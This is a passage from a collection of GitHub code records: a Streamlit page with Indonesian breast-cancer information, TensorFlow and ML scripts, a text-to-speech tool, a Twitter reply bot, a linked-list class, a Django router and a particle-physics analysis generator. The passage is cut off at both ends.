saya. [Klik Disini Untuk Github]({github}).\")\r\n\r\nwith tabs[4]:\r\n st.write(\"\"\"\r\n Breast Cancer/ Kanker Payudara adalah kondisi ketika sel kanker terbentuk di jaringan payudara. Breast Cancer bisa terbentuk di kelenjar yang menghasilkan susu (lobulus), atau di saluran (duktus) yang membawa air susu dari kelenjar ke puting payudara. Kanker juga bisa terbentuk di jaringan lemak atau jaringan ikat di dalam payudara.\r\n \"\"\"\r\n )\r\n st.write(\"\"\"\r\n Kanker payudara terbentuk saat sel-sel di dalam payudara tumbuh tidak normal dan tidak terkendali. Sel tersebut umumnya membentuk tumor yang terasa seperti benjolan. Meski biasanya terjadi pada wanita, kanker payudara juga bisa menyerang pria.\r\n \"\"\"\r\n )\r\n st.write(\"\"\"\r\n 1. Karsinoma in situ\r\n Beberapa orang didiagnosis ketika sel kanker masih sepenuhnya berada di dalam saluran atau lobulus. Ini disebut karsinoma in situ ( atau kanker payudara non-invasif), karena tidak ada sel kanker yang tumbuh dari tempat aslinya.\r\n\r\n 1. Ductal Carcinoma In Situ (DCIS) adalah jenis kanker payudara non-invasif yang paling umum dan sekitar 1 dari 5 kasus kanker payudara baru adalah DCIS. Karsinoma in situ lebih mudah diobati dan memiliki prospek yang lebih baik dibanding kanker invasif.\r\n 2. Lobular Carcinoma In Situ (LCIS) menghasilkan sel-sel abnormal pada kelenjar penghasil susu pada payudara. Sel-sel ini jarang menyebar di luar lobulus ke bagian lain dari payudara atau tubuh.\r\n \"\"\"\r\n )\r\n st.write(\"\"\"\r\n 2. Kanker payudara invasif\r\n Sebagian besar kanker payudara didiagnosis ketika tumor sudah tumbuh dari dalam saluran lobulus ke jaringan payudara di sekitarnya. Ini disebut kanker payudara invasif:\r\n\r\n 1. Kanker payudara duktal invasif dimulai di salah satu saluran payudara. Ada 8 dari 10 kasus kanker payudara ini.\r\n 2. Kanker payudara lobular invasif dimulai di salah satu lobus payudara. Ada 1 dari 10 kanker payudara ini.\r\n 3 Kanker payudara invasif dibagi menjadi kanker yang menyerang di daerah local atau pembuluh limfatik. Kanker payudara invasif dapat menyebar ke luar payudara.\r\n\r\n 3. Kanker payudara inflamasi\r\n Jenis kanker payudara ini terjadi akibat sel-sel kanker menghalangi pembuluh limfa di kulit, dan bisa menyebabkan payudara membengkak dan memerah. Kanker ini cenderung tumbuh dan menyebar dengan cepat, bahkan gejalanya bisa memburuk dalam hitungan hari bahkan jam.\r\n\r\n Kanker payudara inflamasi adalah bentuk kanker payudara yang tidak umum tetapi sangat agresif. Disebut inflamasi karena payudara seringkali terlihat bengkak dan merah meradang. Kanker payudara inflamasi cenderung didiagnosis pada wanita yang lebih muda daripada bentuk kanker payudara lainnya. Karena agresif dan sering didiagnosis ketika sudah sampai di tahap akhir, prospek dari penyakit ini biasanya lebih buruk dibanding kanker payudara lainnya.\r\n\r\n 4. Penyakit paget payudara\r\n Penyakit paget payudara adalah jenis kanker yang langka pada area puting payudara. Ini muncul sebagai eksim yang mempengaruhi puting dan sering dikaitkan dengan karsinoma payudara invasif atau in situ.\r\n \"\"\"\r\n )\r\n st.write(\"\"\"\r\n ### Tanda Kanker Payudara/Breast Cancer\r\n Banyak wanita menemukan bahwa payudara mereka menjadi lebih kental dan lembut sebelum mensturasi. Payudara juga berubah bentuk dan ukurannya dengan bertambahnya usia, kehamilan dan perubahan berat badan yang nyata. Yang penting adalah Anda mengenal payudara Anda sendiri, bagaimana penampilan dan rasanya, dan harus segera melapor perubahan apapun ke dokter.\r\n\r\n Berikut adalah beberapa hal yang harus dipertimbangkan yang mungkin merupakan tanda-tanda dari kanker payudara:\r\n\r\n Benjolan pada payudara\r\n Tanda pertama adalah benjolan yang tidak nyeri di payudara. Kebanyakan benjolan di payudara tidak bersifat kanker (ganas). Sebagian besar benjolan payudara adalah kista berisi cairan atau fibroadenoma (jaringan kelenjar yang menggumpal) yang tidak bersifat kanker (jinak). Namun, Anda harus selalu memeriksakan diri ke dokter jika benjolan berkembang, karena benjolan pada payudara mungkin saja kanker (ganas).\r\n\r\n Perubahan ukuran atau bentuk payudara\r\n Lesung pipit atau penebalan sebagian kulit di bagian payudara\r\n Puting susu masuk (terbalik)\r\n Kadang-kadang ada keluar cairan dari putting (yang mungkin berlumuran darah)\r\n Jenis kanker payudara yang langka, menyebabkan ruam di sekitar puting, yang terlihat mirip dengan bercak kecil eksim\r\n Jarang terjadi nyeri pada payudara. Nyeri bukanlah gejala awal yang biasa. Banyak wanita mengalami nyeri payudara (mastalgia) dan ini biasanya tidak disebabkan oleh kanker\r\n Tempat pertama penyebaran dari kanker payudara adalah kelenjar getah bening di ketiak. Jika ini terjadi, Anda mungkin mengalami pembengkakan atau benjolan di ketiak. Jika kanker menyebar ke bagian tubuh lain maka berbagai gejala lain bisa berkembang.\r\n \"\"\"\r\n )\r\n","repo_name":"DiahDSyntia/breastcancer","sub_path":"kanker.py","file_name":"kanker.py","file_ext":"py","file_size_in_byte":15854,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37728658778","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2019/1/17 10:20\n@Author : Dong Hsueh\n@Email : frozenhsueh@gmail.com\n@File : NeuralNetworkExample.py\n@Software : PyCharm\n@introduction: 实现一个简单的神经网络\n\"\"\"\n\n\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\n\ndef run():\n # 导入 MNIST 数据集\n mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n\n # 超参数\n learning_rate = 0.1 # 学习率\n num_steps = 500 # 学习次数\n batch_size = 128 # 批次大小\n display_step = 100 # 展示间隔\n\n # 神经网络参数\n n_hidden_1 = 256 # 神经网络第一层的隐藏单元数量\n n_hidden_2 = 256 # 神经网络第二层的隐藏单元数量\n num_input = 784 # 输入尺度的大小 (28 * 28的图片)\n num_classes = 10 # 输出分类的数量\n\n # 定义输入输出,None表示第一个维度(行)的数量不确定\n X = tf.placeholder(\"float\", [None, num_input])\n Y = tf.placeholder(\"float\", [None, num_classes])\n\n # 定义每一层的权重和偏置值\n weights = {\n 'h1': tf.Variable(tf.random_normal([num_input, n_hidden_1])),\n 'h2': tf.Variable(tf.random_normal([n_hidden_1, n_hidden_2])),\n 'out': tf.Variable(tf.random_normal([n_hidden_2, num_classes]))\n }\n biases = {\n 'b1': tf.Variable(tf.random_normal([n_hidden_1])),\n 'b2': tf.Variable(tf.random_normal([n_hidden_2])),\n 'out': tf.Variable(tf.random_normal([num_classes]))\n }\n\n # 创建模型\n def neural_net(x):\n # 第一层与输入全连接\n layer_1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])\n # 第二层与第一层全连接\n layer_2 = tf.add(tf.matmul(layer_1, weights['h2']), biases['b2'])\n # 输出层与第二层全连接\n out_layer = tf.matmul(layer_2, weights['out']) + biases['out']\n return out_layer\n\n # 构建模型\n logits = neural_net(X)\n\n # 定义损失函数和优化方法\n loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n logits=logits, labels=Y))\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n train_op = optimizer.minimize(loss_op)\n\n # 带有测试日志的评估模型\n correct_pred = tf.equal(tf.argmax(logits, 1), tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n # 初始化变量\n init = tf.global_variables_initializer()\n\n # 开始训练\n with tf.Session() as sess:\n # 运行初始化变量的方法\n sess.run(init)\n for step in range(1, num_steps + 1):\n # 获取下一批训练数据\n batch_x, batch_y = mnist.train.next_batch(batch_size)\n # 运行反向传播训练\n sess.run(train_op, feed_dict={X: batch_x, Y: batch_y})\n # 达到展示步限制后展示当前训练结果\n if step % display_step == 0 or step == 1:\n # 计算当前批次的准确度和损失\n loss, acc = sess.run([loss_op, accuracy], feed_dict={X: batch_x,\n Y: batch_y})\n print(\"步数 \" + str(step) + \", 最小损失= \" + \\\n \"{:.4f}\".format(loss) + \", 训练准确度= \" + \\\n \"{:.3f}\".format(acc))\n\n print(\"训练完成!\")\n\n # 计算测试集上的准确性\n print(\"在测试集上的准确度为:\", \\\n sess.run(accuracy, feed_dict={X: mnist.test.images,\n Y: mnist.test.labels}))\n return","repo_name":"D-Hsueh/TensorflowLearn","sub_path":"chapter3/Supervised/NeuralNetworkExample.py","file_name":"NeuralNetworkExample.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6371944877","text":"# -*- coding: utf-8 -*-\n\"\"\"Main function for training and testing.\"\"\"\n\nfrom helpers import *\nfrom preprocessing import preprocessing\nfrom implementations import *\n\n# Load the training and testing data\ntrain_data_path = 'D:\\\\ML_Course\\\\Project1\\\\Final submission\\\\data\\\\train.csv'\ntest_data_path = 'D:\\\\ML_Course\\\\Project1\\\\Final submission\\\\data\\\\test.csv'\ny_train, X_train, id_train = load_data(train_data_path)\ny_test, X_test, id_test = load_data(test_data_path)\n\n# Preprocess the raw data\ntx_train, y_train = preprocessing(X_train, y_train, outlier=4, degree=4)\ntx_test, y_test = preprocessing(X_test, y_test, degree=4)\n\n\n# K-fold cross validation to find the best hyper parameter and visualization\nlambdas, avg_err_tr, avg_err_te, best_lambda, best_rmse, best_w = cross_validation_ridge_demo(y_train, tx_train, 5, np.logspace(-3, 3, 7))\ncross_validation_visualization(lambdas, avg_err_tr, avg_err_te)\n\n\n# Use the best weights for prediction\ny_pred = regression_prediction(tx_test, best_w)\ny_pred[y_pred == 0] = -1\ncreate_csv_submission(id_test, y_pred, \"submission.csv\")\n","repo_name":"CS-433/ml-project-1-gty","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3264013027","text":"import numpy as np\nimport pyttsx3\nimport spacy\nimport os\nimport soundfile as sf\n\n# Carrega o modelo de linguagem em português do spaCy\nnlp = spacy.load(\"pt_core_news_sm\")\n\n# Inicializa o engine do pyttsx3\nengine = pyttsx3.init()\n\n# Define as configurações do engine\nengine.setProperty('rate', 200) # Velocidade de reprodução\n\n# Arquivo de texto\ntext_file = 'C:/Workspace/Texto/texto.txt'\n\n# Verifica se o arquivo de texto existe\nif not os.path.isfile(text_file):\n print(f\"Arquivo de texto não encontrado: {text_file}\")\n exit()\n\n# Obtém o diretório do arquivo de texto\noutput_dir = os.path.dirname(text_file)\n\n# Abre o arquivo de texto\nwith open(text_file, 'r', encoding='utf-8') as file:\n text = file.read()\n\n# Processa o texto com o spaCy\ndoc = nlp(text)\n\n# Lista para armazenar as sentenças\nsentences = []\n\n# Loop pelas sentenças do texto\nfor i, sent in enumerate(doc.sents):\n # Imprime a sentença\n print(sent.text)\n\n # Adiciona a sentença à lista\n sentences.append(sent.text)\n\n # Reproduz a sentença em áudio\n audio_file = os.path.join(output_dir, f\"{i}.wav\")\n engine.save_to_file(sent.text, audio_file)\n engine.runAndWait()\n\n# Combine os arquivos de áudio das sentenças\ncombined_audio = None\nfor i, sentence in enumerate(sentences):\n audio_file = os.path.join(output_dir, f\"{i}.wav\")\n if os.path.exists(audio_file):\n audio_data, sample_rate = sf.read(audio_file)\n if combined_audio is None:\n combined_audio = audio_data\n else:\n combined_audio = np.concatenate((combined_audio, audio_data))\n os.remove(audio_file)\n\n# Salva o áudio combinado em um arquivo WAV\noutput_file = os.path.join(output_dir, \"output.wav\")\nsf.write(output_file, combined_audio, sample_rate, format=\"WAV\")\n","repo_name":"JonathaCosta10/TSS_","sub_path":"Elevenlabs/arquivo.py","file_name":"arquivo.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20753416373","text":"import cv2 as cv\r\n\r\n# this is an alternate way to alter resolution(dimensions) of Live Video ONLY\r\ndef changeRes(width, height):\r\n capture.set(3, width)\r\n capture.set(4, height)\r\n\r\ncapture = cv.VideoCapture(\"videos/sample2.mp4\")\r\n\r\nwhile True:\r\n idTrue, frame = capture.read()\r\n\r\n frame_resized = capture.read()","repo_name":"SCORPIA2004/OpenCV","sub_path":"altRescaleVideo.py","file_name":"altRescaleVideo.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31738206322","text":"import requests\n\nURL = \"https://rapidapi.p.rapidapi.com/api/search/CustomNewsSearchAPIV2\"\nHEADERS = {\n 'x-rapidapi-host': \"custom-search.p.rapidapi.com\",\n \"x-rapidapi-key\": \"Your-X-RapidAPI-Key\"\n}\n\nquery = \"taylor swift\"\npage_number = 1\nsearch_engine_id = \"Your-Search-Engine-Id\"\nwith_thumbnails = True\nfrom_published_date = \"\"\nto_published_date = \"\"\n\nquerystring = {\"q\": query,\n \"pageNumber\": page_number,\n \"searchEngineId\": search_engine_id,\n \"withThumbnails\": with_thumbnails,\n \"fromPublishedDate\": from_published_date,\n \"toPublishedDate\": to_published_date}\n\nresponse = requests.get(URL, headers=HEADERS, params=querystring).json()\n\nprint(response)\n\ntotal_count = response[\"totalCount\"]\n\nfor web_page in response[\"value\"]:\n url = web_page[\"url\"]\n title = web_page[\"title\"]\n description = web_page[\"description\"]\n body = web_page[\"body\"]\n date_published = web_page[\"datePublished\"]\n language = web_page[\"language\"]\n is_safe = web_page[\"isSafe\"]\n provider = web_page[\"provider\"][\"name\"]\n\n image_url = web_page[\"image\"][\"url\"]\n image_height = web_page[\"image\"][\"height\"]\n image_width = web_page[\"image\"][\"width\"]\n\n thumbnail = web_page[\"image\"][\"thumbnail\"]\n thumbnail_height = web_page[\"image\"][\"thumbnailHeight\"]\n thumbnail_width = web_page[\"image\"][\"thumbnailWidth\"]\n\n print(\"Url: {}. Title: {}. Published Date: {}.\".format(url, title, date_published))","repo_name":"roikra/usearch-customsearch-api","sub_path":"NewsSearchAPITest.py","file_name":"NewsSearchAPITest.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39459692519","text":"import sublime_plugin\nimport shlex\nfrom subprocess import Popen, DEVNULL, PIPE\n\n\nclass PipeCommand(sublime_plugin.TextCommand):\n def run(self, _edit):\n self.view.window().show_input_panel(\"Pipe:\", \"\", self.pipe_command,\n None, None)\n\n def pipe_command(self, command):\n args = shlex.split(command)\n if not args:\n return\n popen = Popen(args, stdin=DEVNULL, stdout=PIPE, stderr=DEVNULL)\n output = popen.communicate()[0].decode(\"utf-8\").rstrip()\n self.view.run_command(\"insert\", {\"characters\": output})\n","repo_name":"woodruffw/dotfiles","sub_path":"config/sublime-text/Packages/pipe.py","file_name":"pipe.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"72"} +{"seq_id":"38673082806","text":"import json\nimport random\n\nimport tweepy\n\nimport bot\nimport emoji\n\n\n\nclass StreamListener(tweepy.StreamListener):\n def on_data(self, data):\n print('Incoming: {0}'.format(data))\n tweet = json.loads(data)\n screen_name = tweet['user']['screen_name']\n me = screen_name == bot.SCREEN_NAME\n retweet = 'retweeted_status' in tweet\n if not me and not retweet:\n side = random.choice(bot.SIDES)\n hashtag = random.choice(bot.HASHTAGS)\n e = random.choice(emoji.EMOJI.values())\n\n # I swear that the next line of code isn't Ruby.\n reply = u'@{0} {1}. #{2} {3}'.format(screen_name, side, hashtag, e)\n try:\n log = u'Outgoing: {0}'.format(reply)\n print(log)\n except UnicodeEncodeError:\n log = bot.unicode_to_ascii(reply)\n log = u'Outgoing: {0}'.format(log)\n print(log)\n\n if bot.ENV == 'production':\n try:\n bot.api.update_status(reply, tweet['id'])\n except tweepy.TweepError:\n pass\n\n # Return True to keep the stream listener listening.\n return True\n\n\n\ndef main():\n listener = StreamListener()\n stream = tweepy.Stream(bot.auth, listener)\n stream.filter(track=bot.PHRASES)\n\nif __name__ == '__main__':\n main()\n","repo_name":"brainix/quarter-bot","sub_path":"reply.py","file_name":"reply.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74013839274","text":"import pandas as pd\nimport concurrent.futures\nimport os\n\nclass PowerInFileSearch:\n\n def __init__(self, file_list):\n self.file_list = file_list\n self.df = None\n\n def _search_file(self, file_path, keywords, flg_casesensitive, nrows):\n hits = []\n with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:\n lines = f.readlines()\n for line_num, line in enumerate(lines, 1):\n search_line = line if flg_casesensitive else line.lower()\n for keyword in keywords:\n search_keyword = keyword if flg_casesensitive else keyword.lower()\n if search_keyword in search_line:\n dir_path, file_name = os.path.split(file_path)\n \n # 前後の行を含めた内容を取得\n start_index = max(0, line_num - nrows - 1)\n end_index = min(len(lines), line_num + nrows - 1)\n around_lines = lines[start_index:end_index]\n around_content = ''.join(around_lines).strip()\n \n hits.append((file_path, dir_path, file_name, line_num, line.strip(), around_content))\n break\n return hits\n\n def search(self, keywords, flg_casesensitive=True, nrows=3):\n results = []\n with concurrent.futures.ThreadPoolExecutor() as executor:\n futures = {executor.submit(self._search_file, file_path, keywords, flg_casesensitive, nrows): file_path for file_path in self.file_list}\n for future in concurrent.futures.as_completed(futures):\n results.extend(future.result())\n\n self.df = pd.DataFrame(results, columns=[\"file_path\", \"dir_path\", \"file_name\", \"line_number\", \"line_content\", \"around_content\"])\n self.df[\"link\"] = \"link\"\n\n def show(self):\n if self.df is not None:\n from IPython.display import display, HTML\n display(HTML(self.df.to_html(escape=False)))\n else:\n print(\"No results to display.\")\n\n","repo_name":"takumihayashi2018/PyDesktop","sub_path":"power_in_file_search.py","file_name":"power_in_file_search.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74949678313","text":"from itertools import combinations\n\n\ndef part1(data):\n for i in range(25, len(data)):\n sums = {sum(combination): combination for combination in combinations(data[i-25:i], 2)}\n if data[i] not in sums:\n return data[i]\n\n\ndef part2(data):\n num = part1(data)\n sum_length = 2\n while sum_length < len(data) - sum_length:\n for i in range(len(data)):\n if sum(data[i:i+sum_length]) == num:\n return min(data[i:i+sum_length]) + max(data[i:i+sum_length])\n sum_length += 1\n\n\ndata = list(map(int, open(\"day9.in\").read().splitlines()))\n \nres1 = part1(data)\nprint(\"Part 1: \", res1)\n \nres2 = part2(data)\nprint(\"Part 2: \", res2)\n\n","repo_name":"lolpatrol/Advent-of-Code-2020","sub_path":"day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17298829602","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom . import views\n\nrouter = DefaultRouter(trailing_slash=False)\n\nrouter.register(\n 'customers',\n views.CustomerViewSet,\n basename='customers',\n)\nrouter.register(\n 'orders',\n views.OrderViewSet,\n basename='orders',\n)\n\nurlpatterns = [\n path('v1/', include(router.urls)),\n]\n","repo_name":"KirillZorikov/itorum_test_back","sub_path":"api/api_order/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23267119247","text":"from typing import Any, Optional\nfrom node import Node\nimport Drivers\n\n\nclass LinkedList:\n \"\"\"\n This class implements linked list\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Variables initialization\n \"\"\"\n self.__head = self.__tail = None\n self.__len = 0\n # self.sd = None\n\n def __len__(self):\n \"\"\"\n Redetermine command len\n :return: length LinkedList\n \"\"\"\n return self.__len\n\n def __repr__(self):\n return '<->'.join(str(n) for n in self)\n\n @staticmethod\n def verification_index(index: int) -> None:\n \"\"\"\n Verification of requirements for index\n :param index: Node position in LinkedList\n :return: None\n \"\"\"\n if not isinstance(index, int):\n raise IndexError('Index must be only int')\n if index < 0:\n raise IndexError('Index must be only positive or zero')\n\n def insert(self, index: int, value: Any) -> None:\n \"\"\"\n Insert Node to any place of LinkedList\n :param index: position of node\n :param value: inserting node\n :return: None\n \"\"\"\n self.verification_index(index)\n insert_node = Node(value)\n\n if not self.__len or index >= self.__len: # пустой список или индекс за пределами списка\n self.append(value)\n elif index == 0:\n insert_node.next = self.__head\n self.__head.prev = insert_node\n self.__head = insert_node\n self.__len += 1\n else:\n current_node = self.__head\n for i in range(self.__len):\n if i == index - 1: # определение ноды, после которой необходимо произвести вставку\n insert_node.next = current_node.next # перенапрвление прямой ссылки\n current_node.next = insert_node\n\n insert_node.prev = current_node # перенаправление обратной ссылки\n\n current_node = insert_node.next # перенос фокуса внимания на ноду после вставки\n current_node.prev = insert_node\n\n self.__len += 1\n break\n\n current_node = current_node.next\n\n def append(self, value: Any) -> None:\n \"\"\"\n Add Node to the tail of LinkedList\n :param value: inserting node\n :return: None\n \"\"\"\n append_node = Node(value)\n\n if not self.__len:\n self.__head = append_node\n self.__tail = self.__head\n else:\n append_node.prev = self.__tail\n self.__tail.next = append_node\n self.__tail = append_node\n self.__len += 1\n\n def __iter__(self, current_node=None):\n \"\"\"\n Redetermine iterator\n :return: next node\n \"\"\"\n if not current_node:\n current_node = self.__head\n\n while current_node:\n yield current_node.value\n current_node = current_node.next\n\n def _node_iter(self):\n current_node = self.__head\n for _ in range(self.__len):\n yield current_node\n current_node = current_node.next\n\n def __reversed__(self, current_node=None):\n \"\"\"\n Redetermine reversed iterator\n :return: previous node\n \"\"\"\n if not current_node:\n current_node = self.__tail\n\n while current_node:\n yield current_node.value\n current_node = current_node.prev\n\n def clear(self) -> None:\n \"\"\"\n Clear LinkedList\n :return: None\n \"\"\"\n self.__head = None\n self.__tail = None\n self.__len = 0\n\n def find(self, node: Optional[\"Node\"]) -> int:\n \"\"\"\n Finds the first occurrence of the specified node.\n :param node: node value\n :return: node index or -1 if the value is not found\n \"\"\"\n for current_node in enumerate(self):\n if current_node[1] == node.value:\n return current_node[0]\n else:\n return -1\n\n def remove(self, node: Optional[\"Node\"]) -> None:\n \"\"\"\n Remove the first occurrence of the specified node.\n :param node: node value\n :return: ValueError if the value is not found\n \"\"\"\n\n if node.value == self.__head.value:\n self.__head = self.__head.next\n\n else:\n current_node = self.__head\n for _ in range(self.__len - 2):\n if current_node.next.value == node.value:\n next_node = current_node.next\n next_node = next_node.next\n current_node.next = next_node\n next_node.prev = current_node\n break\n current_node = current_node.next\n\n else:\n if node.value == self.__tail.value:\n self.__tail = self.__tail.prev\n else:\n raise ValueError\n\n self.__len -= 1\n\n def delete(self, index: int) -> None:\n \"\"\"\n Delete node with index\n :param index: node index\n :return: None\n \"\"\"\n if index not in range(self.__len):\n raise IndexError\n\n if index == 0:\n self.__head = self.__head.next\n self.__head.prev = None\n\n elif index == self.__len - 1:\n self.__tail = self.__tail.prev\n self.__tail.next = None\n\n else:\n current_node = self.__head\n for _ in range(index - 1):\n current_node = current_node.next\n\n next_node = current_node.next\n next_node = next_node.next\n current_node.next = next_node\n next_node.prev = current_node\n\n self.__len -= 1\n\n def save(self) -> None:\n \"\"\"\n Transforms node list to dictionary with nodes for save in some file.\n :return: dict\n \"\"\"\n linked_list = {}\n for node in self._node_iter():\n linked_list[str(id(node))] = {\n \"value\": node.value,\n \"next_node\": str(id(node.next)) if node.next else None,\n \"prev_node\": str(id(node.prev)) if node.prev else None # для того чтобы можно было реализовать проход\n # с конца. Сейчас это не нужно, это памятка для меня.\n }\n self.sd.write({\"head\": str(id(self.__head)), \"nodes\": linked_list, \"tail\": str(id(self.__tail))})\n\n def load(self): # , new_nodes: dict):\n \"\"\"\n Load data from some source and create new linked list.\n # :param new_nodes: dictionary with nodes\n :return: None\n \"\"\"\n self.clear()\n new_nodes = self.sd.read()\n id_head = new_nodes[\"head\"]\n\n for _ in range(len(new_nodes[\"nodes\"])):\n node = new_nodes[\"nodes\"].pop(str(id_head))\n # title = node[\"value\"][\"title\"]\n # author = node[\"value\"][\"author\"]\n # genre = node[\"value\"][\"genre\"]\n self.append(node[\"value\"])\n id_head = node[\"next_node\"] if node[\"next_node\"] else None\n\n def set_structure_driver(self, structure_driver):\n self.sd = structure_driver\n\n\nif __name__ == '__main__':\n l1 = LinkedList()\n l1.append({1: 1})\n l1.append({2: 2})\n l1.insert(12, 3)\n # l1.append(4)\n # l1.insert(9, 5)\n # l1.insert(0, 0)\n # l1.insert(1, 99)\n # print(dir(l1))\n # # print(l1)\n # a = iter(l1)\n\n print(l1)\n\n # l1.save()\n # print(d1)\n # print(\"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n # l1.clear()\n # l1.load(d1)\n # print(l1)\n\n # driver_name = input(\"Please enter driver name > \")\n builder = Drivers.SDFabric().get_sd_driver(\"JSONFileDriver\")\n sd = builder.build()\n #\n l1.set_structure_driver(sd)\n l1.save()\n # l1.load()\n print(l1)\n # print(next(l1.__iter__()))\n # print(next(l1.__iter__()))\n\n # obj = {\n # \"a\": [\n # {\n # \"a\": 1,\n # \"b\": True,\n # \"c\": \"some string\"\n # },\n # {\n # \"afff\": None,\n # \"caaa\": \"some string 2\"\n # }\n # ],\n # \"value\": (1, 2, 3)\n # }\n # sd.write(obj)\n\n # for _ in range(len(l1)):\n # print(next(a))\n # print('')\n\n # print('!!!!!!')\n # print(l1.find(Node(99)))\n # print(l1.find(Node(0)))\n # print(l1.find(Node(5)))\n # print(l1.find(Node(6)))\n #\n # print(l1, f'len = {len(l1)}')\n # l1.remove(Node(4))\n # print(l1, f'len = {len(l1)}')\n # l1.remove(Node(3))\n # print(l1, f'len = {len(l1)}')\n\n # l1.clear()\n # print(len(l1))\n # l1.delete(6)\n # print(l1)\n\n # print(reversed(next(l1)))\n\n # for value in l1:\n # print(value)\n","repo_name":"Gaydarenko/PY200","sub_path":"linkedlist.py","file_name":"linkedlist.py","file_ext":"py","file_size_in_byte":9095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13310087030","text":"#!/usr/bin/env python\nimport subprocess, glob, optparse, json, ast, os, sys\nfrom pprint import pprint\nimport ntpath\nimport importlib\n#_____________________________________________________________________________\ndef options():\n parser = optparse.OptionParser(description=\"analysis parser\")\n parser.add_option('-n', '--analysis_name', dest='analysis_name', type=str, default='')\n parser.add_option('-c', '--heppy_cfg', dest='heppy_cfg', type=str, default='')\n parser.add_option('-j', '--proc_file_json', dest='proc_file_json', type=str, default='/afs/cern.ch/work/h/helsens/public/FCCDicts/procDict.json')\n parser.add_option('-t', '--heppy_tree_dir', dest='heppy_tree_dir', type=str, default='')\n parser.add_option('-o', '--analysis_output', dest='analysis_output', type=str, default='')\n parser.add_option('-p', '--param_file', dest='param_file', type=str, default='')\n parser.add_option('-b', '--binned', dest='binned', default=True)\n return parser.parse_args()\n\n#______________________________________________________________________________\ndef main():\n \n ops, args = options()\n\n args = split_comma_args(args)\n\n # give this analysis a name\n analysisName = ops.analysis_name\n\n # heppy analysis configuration\n heppyCfg = ops.heppy_cfg\n\n # process dictionary\n processDict = ops.proc_file_json\n\n # heppy trees location directory\n treeDir = ops.heppy_tree_dir\n\n # analysis dir\n analysisDir = ops.analysis_output\n\n # param file\n paramFile = ops.param_file\n sys.path.append(os.path.dirname(os.path.expanduser(paramFile)))\n param = importlib.import_module(os.path.splitext(ntpath.basename(paramFile))[0])\n\n # use binned samples or not\n binned = ops.binned \n\n # tree location\n treePath = '/heppy.analyzers.examples.{}.TreeProducer.TreeProducer_1/tree.root'.format(analysisName)\n\n # retrieve list of processes from heppy cfg\n processes = []\n with open(heppyCfg) as f:\n lines = f.readlines()\n for l in lines:\n if 'splitFactor' in l:\n processes.append(l.rsplit('.', 1)[0])\n\n with open(processDict) as f:\n procDict = json.load(f)\n \n # prepare analysis dir\n os.system('mkdir -p {}'.format(analysisDir))\n os.system('cp tools.py {}'.format(analysisDir))\n os.system('cp {} {}'.format(paramFile, analysisDir))\n \n analysisFile = '{}/analysis.py'.format(analysisDir)\n template = open(analysisFile, 'w')\n template.write('#!/usr/bin/env python\\n')\n template.write('import collections\\n')\n template.write('from tools import *\\n')\n template.write('from {} import *\\n'.format(os.path.splitext(ntpath.basename(paramFile))[0]))\n template.write('\\n')\n template.write('#_________________________________________________________________________________________________\\n')\n template.write('def initProcesses(listOfProcesses, block):\\n')\n template.write('\\n')\n template.write(' ### initialize processes for {} analysis\\n'.format(analysisName))\n template.write('\\n')\n\n for p in processes:\n\n xsec = procDict[p]['crossSection']\n nev = procDict[p]['numberOfEvents']\n eff = procDict[p]['matchingEfficiency']\n kf = procDict[p]['kfactor']\n\n tree = '{}/{}/{}'.format(os.path.abspath(treeDir), p, treePath)\n\n matched_xsec = xsec*eff\n \n template.write(' {} = Process(\"{}\",\\n'.format(p, p))\n template.write(' tree=\"{}\",\\n'.format(tree))\n template.write(' nevents={},\\n'.format(nev))\n template.write(' xsec={},\\n'.format(xsec))\n template.write(' effmatch={},\\n'.format(eff))\n template.write(' kfactor={},\\n'.format(kf))\n template.write(' )\\n')\n template.write('\\n')\n\n template.write(' ### list of processes\\n')\n for p in processes:\n template.write(' listOfProcesses.append({})\\n'.format(p))\n\n template.write('\\n')\n template.write('# here create loop from associations\\n')\n\n #form groups according to param file\n for name, procs in param.groups.iteritems():\n template.write(' block[\"{}\"] = [\\n'.format(name))\n for procstr in procs:\n for proc in processes:\n if binned:\n if procstr in proc and 'HT' in proc:\n template.write(' {},\\n'.format(proc))\n else:\n if procstr in proc and 